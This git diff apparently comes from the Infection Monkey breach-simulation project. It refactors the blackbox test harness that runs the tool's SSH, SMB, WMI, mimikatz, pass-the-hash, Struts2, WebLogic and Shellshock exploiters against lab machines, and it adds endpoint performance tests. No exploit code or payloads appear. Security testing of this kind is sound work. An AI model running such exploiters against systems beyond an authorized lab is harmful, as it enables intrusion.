def run_basic_test(island_client, conf_filename, test_name, timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS):
|
def run_exploitation_test(island_client, conf_filename, test_name, timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS):
|
||||||
config_parser = IslandConfigParser(conf_filename)
|
config_parser = IslandConfigParser(conf_filename)
|
||||||
analyzer = CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())
|
analyzer = CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())
|
||||||
log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path())
|
log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path())
|
||||||
BasicTest(
|
ExploitationTest(
|
||||||
name=test_name,
|
name=test_name,
|
||||||
island_client=island_client,
|
island_client=island_client,
|
||||||
config_parser=config_parser,
|
config_parser=config_parser,
|
||||||
analyzers=[analyzer],
|
analyzers=[analyzer],
|
||||||
timeout=timeout_in_seconds,
|
timeout=timeout_in_seconds,
|
||||||
post_exec_analyzers=[],
|
|
||||||
log_handler=log_handler).run()
|
log_handler=log_handler).run()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def run_performance_test(island_client, conf_filename, test_name, timeout_in_seconds):
|
def run_performance_test(performance_test_class, island_client,
|
||||||
|
conf_filename, timeout_in_seconds, break_on_timeout=False):
|
||||||
config_parser = IslandConfigParser(conf_filename)
|
config_parser = IslandConfigParser(conf_filename)
|
||||||
log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path())
|
log_handler = TestLogsHandler(performance_test_class.TEST_NAME,
|
||||||
BasicTest(
|
island_client,
|
||||||
name=test_name,
|
TestMonkeyBlackbox.get_log_dir_path())
|
||||||
island_client=island_client,
|
analyzers = [CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())]
|
||||||
config_parser=config_parser,
|
performance_test_class(island_client=island_client,
|
||||||
analyzers=[CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())],
|
config_parser=config_parser,
|
||||||
timeout=timeout_in_seconds,
|
analyzers=analyzers,
|
||||||
post_exec_analyzers=[PerformanceAnalyzer(
|
timeout=timeout_in_seconds,
|
||||||
island_client,
|
log_handler=log_handler,
|
||||||
break_if_took_too_long=False
|
break_on_timeout=break_on_timeout).run()
|
||||||
)],
|
|
||||||
log_handler=log_handler).run()
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_log_dir_path():
|
def get_log_dir_path():
|
||||||
|
@ -92,43 +97,42 @@ class TestMonkeyBlackbox(object):
|
||||||
assert island_client.get_api_status() is not None
|
assert island_client.get_api_status() is not None
|
||||||
|
|
||||||
def test_ssh_exploiter(self, island_client):
|
def test_ssh_exploiter(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "SSH.conf", "SSH_exploiter_and_keys")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "SSH.conf", "SSH_exploiter_and_keys")
|
||||||
|
|
||||||
def test_hadoop_exploiter(self, island_client):
|
def test_hadoop_exploiter(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "HADOOP.conf", "Hadoop_exploiter", 6*60)
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "HADOOP.conf", "Hadoop_exploiter", 6 * 60)
|
||||||
|
|
||||||
def test_mssql_exploiter(self, island_client):
|
def test_mssql_exploiter(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "MSSQL.conf", "MSSQL_exploiter")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "MSSQL.conf", "MSSQL_exploiter")
|
||||||
|
|
||||||
def test_smb_and_mimikatz_exploiters(self, island_client):
|
def test_smb_and_mimikatz_exploiters(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "SMB_MIMIKATZ.conf", "SMB_exploiter_mimikatz")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "SMB_MIMIKATZ.conf", "SMB_exploiter_mimikatz")
|
||||||
|
|
||||||
def test_smb_pth(self, island_client):
|
def test_smb_pth(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "SMB_PTH.conf", "SMB_PTH")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "SMB_PTH.conf", "SMB_PTH")
|
||||||
|
|
||||||
def test_elastic_exploiter(self, island_client):
|
def test_elastic_exploiter(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "ELASTIC.conf", "Elastic_exploiter")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "ELASTIC.conf", "Elastic_exploiter")
|
||||||
|
|
||||||
def test_struts_exploiter(self, island_client):
|
def test_struts_exploiter(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "STRUTS2.conf", "Strtuts2_exploiter")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "STRUTS2.conf", "Strtuts2_exploiter")
|
||||||
|
|
||||||
def test_weblogic_exploiter(self, island_client):
|
def test_weblogic_exploiter(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "WEBLOGIC.conf", "Weblogic_exploiter")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "WEBLOGIC.conf", "Weblogic_exploiter")
|
||||||
|
|
||||||
def test_shellshock_exploiter(self, island_client):
|
def test_shellshock_exploiter(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter")
|
||||||
|
|
||||||
def test_tunneling(self, island_client):
|
def test_tunneling(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 15*60)
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 15 * 60)
|
||||||
|
|
||||||
def test_wmi_and_mimikatz_exploiters(self, island_client):
|
def test_wmi_and_mimikatz_exploiters(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz")
|
||||||
|
|
||||||
def test_wmi_pth(self, island_client):
|
def test_wmi_pth(self, island_client):
|
||||||
TestMonkeyBlackbox.run_basic_test(island_client, "WMI_PTH.conf", "WMI_PTH")
|
TestMonkeyBlackbox.run_exploitation_test(island_client, "WMI_PTH.conf", "WMI_PTH")
|
||||||
|
|
||||||
@pytest.mark.xfail(reason="Performance is slow, will improve on release 1.9.")
|
def test_report_generation_performance(self, island_client, quick_performance_tests):
|
||||||
def test_performance(self, island_client):
|
|
||||||
"""
|
"""
|
||||||
This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test
|
This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test
|
||||||
for a total of 8 machines including the Monkey Island.
|
for a total of 8 machines including the Monkey Island.
|
||||||
|
@ -136,8 +140,30 @@ class TestMonkeyBlackbox(object):
|
||||||
Is has 2 analyzers - the regular one which checks all the Monkeys
|
Is has 2 analyzers - the regular one which checks all the Monkeys
|
||||||
and the Timing one which checks how long the report took to execute
|
and the Timing one which checks how long the report took to execute
|
||||||
"""
|
"""
|
||||||
TestMonkeyBlackbox.run_performance_test(
|
if not quick_performance_tests:
|
||||||
island_client,
|
TestMonkeyBlackbox.run_performance_test(ReportGenerationTest,
|
||||||
"PERFORMANCE.conf",
|
island_client,
|
||||||
"test_report_performance",
|
"PERFORMANCE.conf",
|
||||||
timeout_in_seconds=10*60)
|
timeout_in_seconds=10*60)
|
||||||
|
else:
|
||||||
|
LOGGER.error("This test doesn't support 'quick_performance_tests' option.")
|
||||||
|
assert False
|
||||||
|
|
||||||
|
def test_map_generation_performance(self, island_client, quick_performance_tests):
|
||||||
|
if not quick_performance_tests:
|
||||||
|
TestMonkeyBlackbox.run_performance_test(MapGenerationTest,
|
||||||
|
island_client,
|
||||||
|
"PERFORMANCE.conf",
|
||||||
|
timeout_in_seconds=10*60)
|
||||||
|
else:
|
||||||
|
LOGGER.error("This test doesn't support 'quick_performance_tests' option.")
|
||||||
|
assert False
|
||||||
|
|
||||||
|
def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests):
|
||||||
|
ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run()
|
||||||
|
|
||||||
|
def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests):
|
||||||
|
MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run()
|
||||||
|
|
||||||
|
def test_telem_performance(self, island_client, quick_performance_tests):
|
||||||
|
TelemetryPerformanceTest(island_client, quick_performance_tests).test_telemetry_performance()
|
||||||
|
|
|
@ -1,100 +1,8 @@
|
||||||
from time import sleep
|
import abc
|
||||||
|
|
||||||
import logging
|
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer
|
|
||||||
|
|
||||||
MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60
|
|
||||||
WAIT_TIME_BETWEEN_REQUESTS = 10
|
|
||||||
TIME_FOR_MONKEY_PROCESS_TO_FINISH = 40
|
|
||||||
DELAY_BETWEEN_ANALYSIS = 3
|
|
||||||
LOGGER = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class BasicTest(object):
|
class BasicTest(abc.ABC):
|
||||||
|
|
||||||
def __init__(self, name, island_client, config_parser, analyzers, timeout, post_exec_analyzers, log_handler):
|
|
||||||
self.name = name
|
|
||||||
self.island_client = island_client
|
|
||||||
self.config_parser = config_parser
|
|
||||||
self.analyzers = analyzers
|
|
||||||
self.post_exec_analyzers = post_exec_analyzers
|
|
||||||
self.timeout = timeout
|
|
||||||
self.log_handler = log_handler
|
|
||||||
|
|
||||||
|
@abc.abstractmethod
|
||||||
def run(self):
|
def run(self):
|
||||||
self.island_client.import_config(self.config_parser.config_raw)
|
pass
|
||||||
self.print_test_starting_info()
|
|
||||||
try:
|
|
||||||
self.island_client.run_monkey_local()
|
|
||||||
self.test_until_timeout()
|
|
||||||
finally:
|
|
||||||
self.island_client.kill_all_monkeys()
|
|
||||||
self.wait_until_monkeys_die()
|
|
||||||
self.wait_for_monkey_process_to_finish()
|
|
||||||
self.test_post_exec_analyzers()
|
|
||||||
self.parse_logs()
|
|
||||||
self.island_client.reset_env()
|
|
||||||
|
|
||||||
def print_test_starting_info(self):
|
|
||||||
LOGGER.info("Started {} test".format(self.name))
|
|
||||||
LOGGER.info("Machines participating in test: " + ", ".join(self.config_parser.get_ips_of_targets()))
|
|
||||||
print("")
|
|
||||||
|
|
||||||
def test_until_timeout(self):
|
|
||||||
timer = TestTimer(self.timeout)
|
|
||||||
while not timer.is_timed_out():
|
|
||||||
if self.all_analyzers_pass():
|
|
||||||
self.log_success(timer)
|
|
||||||
return
|
|
||||||
sleep(DELAY_BETWEEN_ANALYSIS)
|
|
||||||
LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()))
|
|
||||||
self.log_failure(timer)
|
|
||||||
assert False
|
|
||||||
|
|
||||||
def log_success(self, timer):
|
|
||||||
LOGGER.info(self.get_analyzer_logs())
|
|
||||||
LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()))
|
|
||||||
|
|
||||||
def log_failure(self, timer):
|
|
||||||
LOGGER.info(self.get_analyzer_logs())
|
|
||||||
LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name,
|
|
||||||
timer.get_time_taken()))
|
|
||||||
|
|
||||||
def all_analyzers_pass(self):
|
|
||||||
analyzers_results = [analyzer.analyze_test_results() for analyzer in self.analyzers]
|
|
||||||
return all(analyzers_results)
|
|
||||||
|
|
||||||
def get_analyzer_logs(self):
|
|
||||||
log = ""
|
|
||||||
for analyzer in self.analyzers:
|
|
||||||
log += "\n" + analyzer.log.get_contents()
|
|
||||||
return log
|
|
||||||
|
|
||||||
def wait_until_monkeys_die(self):
|
|
||||||
time_passed = 0
|
|
||||||
while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE:
|
|
||||||
sleep(WAIT_TIME_BETWEEN_REQUESTS)
|
|
||||||
time_passed += WAIT_TIME_BETWEEN_REQUESTS
|
|
||||||
LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed))
|
|
||||||
if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE:
|
|
||||||
LOGGER.error("Some monkeys didn't die after the test, failing")
|
|
||||||
assert False
|
|
||||||
|
|
||||||
def parse_logs(self):
|
|
||||||
LOGGER.info("Parsing test logs:")
|
|
||||||
self.log_handler.parse_test_logs()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def wait_for_monkey_process_to_finish():
|
|
||||||
"""
|
|
||||||
There is a time period when monkey is set to dead, but the process is still closing.
|
|
||||||
If we try to launch monkey during that time window monkey will fail to start, that's
|
|
||||||
why test needs to wait a bit even after all monkeys are dead.
|
|
||||||
"""
|
|
||||||
LOGGER.debug("Waiting for Monkey process to close...")
|
|
||||||
sleep(TIME_FOR_MONKEY_PROCESS_TO_FINISH)
|
|
||||||
|
|
||||||
def test_post_exec_analyzers(self):
|
|
||||||
post_exec_analyzers_results = [analyzer.analyze_test_results() for analyzer in self.post_exec_analyzers]
|
|
||||||
assert all(post_exec_analyzers_results)
|
|
||||||
|
|
|
@ -0,0 +1,94 @@
|
||||||
|
import logging
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
|
||||||
|
from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer
|
||||||
|
|
||||||
|
MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60
|
||||||
|
WAIT_TIME_BETWEEN_REQUESTS = 10
|
||||||
|
TIME_FOR_MONKEY_PROCESS_TO_FINISH = 40
|
||||||
|
DELAY_BETWEEN_ANALYSIS = 3
|
||||||
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class ExploitationTest(BasicTest):
|
||||||
|
|
||||||
|
def __init__(self, name, island_client, config_parser, analyzers, timeout, log_handler):
|
||||||
|
self.name = name
|
||||||
|
self.island_client = island_client
|
||||||
|
self.config_parser = config_parser
|
||||||
|
self.analyzers = analyzers
|
||||||
|
self.timeout = timeout
|
||||||
|
self.log_handler = log_handler
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.island_client.import_config(self.config_parser.config_raw)
|
||||||
|
self.print_test_starting_info()
|
||||||
|
try:
|
||||||
|
self.island_client.run_monkey_local()
|
||||||
|
self.test_until_timeout()
|
||||||
|
finally:
|
||||||
|
self.island_client.kill_all_monkeys()
|
||||||
|
self.wait_until_monkeys_die()
|
||||||
|
self.wait_for_monkey_process_to_finish()
|
||||||
|
self.parse_logs()
|
||||||
|
self.island_client.reset_env()
|
||||||
|
|
||||||
|
def print_test_starting_info(self):
|
||||||
|
LOGGER.info("Started {} test".format(self.name))
|
||||||
|
LOGGER.info("Machines participating in test: " + ", ".join(self.config_parser.get_ips_of_targets()))
|
||||||
|
print("")
|
||||||
|
|
||||||
|
def test_until_timeout(self):
|
||||||
|
timer = TestTimer(self.timeout)
|
||||||
|
while not timer.is_timed_out():
|
||||||
|
if self.all_analyzers_pass():
|
||||||
|
self.log_success(timer)
|
||||||
|
return
|
||||||
|
sleep(DELAY_BETWEEN_ANALYSIS)
|
||||||
|
LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()))
|
||||||
|
self.log_failure(timer)
|
||||||
|
assert False
|
||||||
|
|
||||||
|
def log_success(self, timer):
|
||||||
|
LOGGER.info(self.get_analyzer_logs())
|
||||||
|
LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()))
|
||||||
|
|
||||||
|
def log_failure(self, timer):
|
||||||
|
LOGGER.info(self.get_analyzer_logs())
|
||||||
|
LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name,
|
||||||
|
timer.get_time_taken()))
|
||||||
|
|
||||||
|
def all_analyzers_pass(self):
|
||||||
|
analyzers_results = [analyzer.analyze_test_results() for analyzer in self.analyzers]
|
||||||
|
return all(analyzers_results)
|
||||||
|
|
||||||
|
def get_analyzer_logs(self):
|
||||||
|
log = ""
|
||||||
|
for analyzer in self.analyzers:
|
||||||
|
log += "\n" + analyzer.log.get_contents()
|
||||||
|
return log
|
||||||
|
|
||||||
|
def wait_until_monkeys_die(self):
|
||||||
|
time_passed = 0
|
||||||
|
while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE:
|
||||||
|
sleep(WAIT_TIME_BETWEEN_REQUESTS)
|
||||||
|
time_passed += WAIT_TIME_BETWEEN_REQUESTS
|
||||||
|
LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed))
|
||||||
|
if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE:
|
||||||
|
LOGGER.error("Some monkeys didn't die after the test, failing")
|
||||||
|
assert False
|
||||||
|
|
||||||
|
def parse_logs(self):
|
||||||
|
LOGGER.info("Parsing test logs:")
|
||||||
|
self.log_handler.parse_test_logs()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def wait_for_monkey_process_to_finish():
|
||||||
|
"""
|
||||||
|
There is a time period when monkey is set to dead, but the process is still closing.
|
||||||
|
If we try to launch monkey during that time window monkey will fail to start, that's
|
||||||
|
why test needs to wait a bit even after all monkeys are dead.
|
||||||
|
"""
|
||||||
|
LOGGER.debug("Waiting for Monkey process to close...")
|
||||||
|
sleep(TIME_FOR_MONKEY_PROCESS_TO_FINISH)
|
|
@ -0,0 +1,28 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer
|
||||||
|
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||||
|
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
|
||||||
|
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
|
||||||
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class EndpointPerformanceTest(BasicTest):
|
||||||
|
|
||||||
|
def __init__(self, name, test_config: PerformanceTestConfig, island_client: MonkeyIslandClient):
|
||||||
|
self.name = name
|
||||||
|
self.test_config = test_config
|
||||||
|
self.island_client = island_client
|
||||||
|
|
||||||
|
def run(self) -> bool:
|
||||||
|
# Collect timings for all pages
|
||||||
|
endpoint_timings = {}
|
||||||
|
for endpoint in self.test_config.endpoints_to_test:
|
||||||
|
self.island_client.clear_caches()
|
||||||
|
endpoint_timings[endpoint] = self.island_client.requests.get_request_time(endpoint,
|
||||||
|
SupportedRequestMethod.GET)
|
||||||
|
analyzer = PerformanceAnalyzer(self.test_config, endpoint_timings)
|
||||||
|
|
||||||
|
return analyzer.analyze_test_results()
|
|
@ -0,0 +1,35 @@
|
||||||
|
from datetime import timedelta
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow
|
||||||
|
|
||||||
|
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
|
||||||
|
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
|
||||||
|
|
||||||
|
MAP_RESOURCES = [
|
||||||
|
"api/netmap",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
class MapGenerationTest(PerformanceTest):
|
||||||
|
|
||||||
|
TEST_NAME = "Map generation performance test"
|
||||||
|
|
||||||
|
def __init__(self, island_client, config_parser, analyzers,
|
||||||
|
timeout, log_handler, break_on_timeout):
|
||||||
|
self.island_client = island_client
|
||||||
|
self.config_parser = config_parser
|
||||||
|
exploitation_test = ExploitationTest(MapGenerationTest.TEST_NAME, island_client,
|
||||||
|
config_parser, analyzers, timeout, log_handler)
|
||||||
|
performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
|
||||||
|
max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
|
||||||
|
endpoints_to_test=MAP_RESOURCES,
|
||||||
|
break_on_timeout=break_on_timeout)
|
||||||
|
self.performance_test_workflow = PerformanceTestWorkflow(MapGenerationTest.TEST_NAME,
|
||||||
|
exploitation_test,
|
||||||
|
performance_config)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.performance_test_workflow.run()
|
|
@ -0,0 +1,32 @@
|
||||||
|
from datetime import timedelta
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \
|
||||||
|
TelemetryPerformanceTestWorkflow
|
||||||
|
|
||||||
|
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
|
||||||
|
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
|
||||||
|
|
||||||
|
MAP_RESOURCES = [
|
||||||
|
"api/netmap",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
class MapGenerationFromTelemetryTest(PerformanceTest):
|
||||||
|
|
||||||
|
TEST_NAME = "Map generation from fake telemetries test"
|
||||||
|
|
||||||
|
def __init__(self, island_client, quick_performance_test: bool, break_on_timeout=False):
|
||||||
|
self.island_client = island_client
|
||||||
|
performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
|
||||||
|
max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
|
||||||
|
endpoints_to_test=MAP_RESOURCES,
|
||||||
|
break_on_timeout=break_on_timeout)
|
||||||
|
self.performance_test_workflow = TelemetryPerformanceTestWorkflow(MapGenerationFromTelemetryTest.TEST_NAME,
|
||||||
|
self.island_client,
|
||||||
|
performance_config,
|
||||||
|
quick_performance_test)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.performance_test_workflow.run()
|
|
@ -0,0 +1,16 @@
|
||||||
|
from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
|
||||||
|
|
||||||
|
|
||||||
|
class PerformanceTest(BasicTest, metaclass=ABCMeta):
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def __init__(self, island_client, config_parser, analyzers,
|
||||||
|
timeout, log_handler, break_on_timeout):
|
||||||
|
pass
|
||||||
|
|
||||||
|
@property
|
||||||
|
@abstractmethod
|
||||||
|
def TEST_NAME(self):
|
||||||
|
pass
|
|
@ -0,0 +1,12 @@
|
||||||
|
from datetime import timedelta
|
||||||
|
from typing import List
|
||||||
|
|
||||||
|
|
||||||
|
class PerformanceTestConfig:
|
||||||
|
|
||||||
|
def __init__(self, max_allowed_single_page_time: timedelta, max_allowed_total_time: timedelta,
|
||||||
|
endpoints_to_test: List[str] = None, break_on_timeout=False):
|
||||||
|
self.max_allowed_single_page_time = max_allowed_single_page_time
|
||||||
|
self.max_allowed_total_time = max_allowed_total_time
|
||||||
|
self.endpoints_to_test = endpoints_to_test
|
||||||
|
self.break_on_timeout = break_on_timeout
|
|
@ -0,0 +1,35 @@
|
||||||
|
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
|
||||||
|
|
||||||
|
class PerformanceTestWorkflow(BasicTest):
|
||||||
|
|
||||||
|
def __init__(self, name, exploitation_test: ExploitationTest, performance_config: PerformanceTestConfig):
|
||||||
|
self.name = name
|
||||||
|
self.exploitation_test = exploitation_test
|
||||||
|
self.island_client = exploitation_test.island_client
|
||||||
|
self.config_parser = exploitation_test.config_parser
|
||||||
|
self.performance_config = performance_config
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.island_client.import_config(self.config_parser.config_raw)
|
||||||
|
self.exploitation_test.print_test_starting_info()
|
||||||
|
try:
|
||||||
|
self.island_client.run_monkey_local()
|
||||||
|
self.exploitation_test.test_until_timeout()
|
||||||
|
finally:
|
||||||
|
self.island_client.kill_all_monkeys()
|
||||||
|
self.exploitation_test.wait_until_monkeys_die()
|
||||||
|
self.exploitation_test.wait_for_monkey_process_to_finish()
|
||||||
|
if not self.island_client.is_all_monkeys_dead():
|
||||||
|
raise RuntimeError("Can't test report times since not all Monkeys have died.")
|
||||||
|
performance_test = EndpointPerformanceTest(self.name, self.performance_config, self.island_client)
|
||||||
|
try:
|
||||||
|
if not self.island_client.is_all_monkeys_dead():
|
||||||
|
raise RuntimeError("Can't test report times since not all Monkeys have died.")
|
||||||
|
assert performance_test.run()
|
||||||
|
finally:
|
||||||
|
self.exploitation_test.parse_logs()
|
||||||
|
self.island_client.reset_env()
|
|
@ -0,0 +1,38 @@
|
||||||
|
from datetime import timedelta
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow
|
||||||
|
|
||||||
|
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
|
||||||
|
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
|
||||||
|
|
||||||
|
REPORT_RESOURCES = [
|
||||||
|
"api/report/security",
|
||||||
|
"api/attack/report",
|
||||||
|
"api/report/zero_trust/findings",
|
||||||
|
"api/report/zero_trust/principles",
|
||||||
|
"api/report/zero_trust/pillars"
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
class ReportGenerationTest(PerformanceTest):
|
||||||
|
TEST_NAME = "Report generation performance test"
|
||||||
|
|
||||||
|
def __init__(self, island_client, config_parser, analyzers,
|
||||||
|
timeout, log_handler, break_on_timeout):
|
||||||
|
self.island_client = island_client
|
||||||
|
self.config_parser = config_parser
|
||||||
|
exploitation_test = ExploitationTest(ReportGenerationTest.TEST_NAME, island_client,
|
||||||
|
config_parser, analyzers, timeout, log_handler)
|
||||||
|
performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
|
||||||
|
max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
|
||||||
|
endpoints_to_test=REPORT_RESOURCES,
|
||||||
|
break_on_timeout=break_on_timeout)
|
||||||
|
self.performance_test_workflow = PerformanceTestWorkflow(ReportGenerationTest.TEST_NAME,
|
||||||
|
exploitation_test,
|
||||||
|
performance_config)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.performance_test_workflow.run()
|
|
@ -0,0 +1,36 @@
|
||||||
|
from datetime import timedelta
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \
|
||||||
|
TelemetryPerformanceTestWorkflow
|
||||||
|
|
||||||
|
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
|
||||||
|
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
|
||||||
|
|
||||||
|
REPORT_RESOURCES = [
|
||||||
|
"api/report/security",
|
||||||
|
"api/attack/report",
|
||||||
|
"api/report/zero_trust/findings",
|
||||||
|
"api/report/zero_trust/principles",
|
||||||
|
"api/report/zero_trust/pillars"
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
class ReportGenerationFromTelemetryTest(PerformanceTest):
|
||||||
|
|
||||||
|
TEST_NAME = "Map generation from fake telemetries test"
|
||||||
|
|
||||||
|
def __init__(self, island_client, quick_performance_test, break_on_timeout=False):
|
||||||
|
self.island_client = island_client
|
||||||
|
performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
|
||||||
|
max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
|
||||||
|
endpoints_to_test=REPORT_RESOURCES,
|
||||||
|
break_on_timeout=break_on_timeout)
|
||||||
|
self.performance_test_workflow = TelemetryPerformanceTestWorkflow(ReportGenerationFromTelemetryTest.TEST_NAME,
|
||||||
|
self.island_client,
|
||||||
|
performance_config,
|
||||||
|
quick_performance_test)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.performance_test_workflow.run()
|
|
@ -0,0 +1,47 @@
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
from os import listdir, path
|
||||||
|
from typing import List, Dict
|
||||||
|
|
||||||
